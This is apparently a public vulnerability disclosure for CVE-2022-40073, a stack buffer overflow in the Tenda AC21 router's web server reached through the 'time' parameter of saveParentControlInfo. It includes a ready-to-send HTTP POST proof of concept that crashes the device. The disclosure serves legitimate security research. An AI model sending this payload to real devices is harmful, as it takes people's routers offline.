CVE-2022-40073: Vuln/Tenda AC21/5 at main · xxy1126/Vuln

Tenda AC21(V16.03.08.15) contains stack Buffer Overflow Vulnerability****overview

• Manufacturer’s website information：https://www.tenda.com.cn/
• Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

product information

Tenda A21(V16.03.08.15), latest version of simulation overview：

description****1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionsaveParentControlInfo .

This vulnerability allows attackers to cause a Denial of Service (DoS) via the time parameter.

In function saveParentControlInfo, it calls compare_parentcontrol_time(a1), the vulnerability is in this function.

It calls sscanf(s, “%[^-]-%s”, v3, v4) and v4 is on the stack, so there is a buffer overflow vulnerability.

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

   POST /goform/saveParentControlInfo HTTP/1.1 Host: 192.168.0.1 Content-Length: 137 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/main.html Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Cookie: password=25d55ad283aa400af464c76d713c07adwfrcvb Connection: close

   time=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%2daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .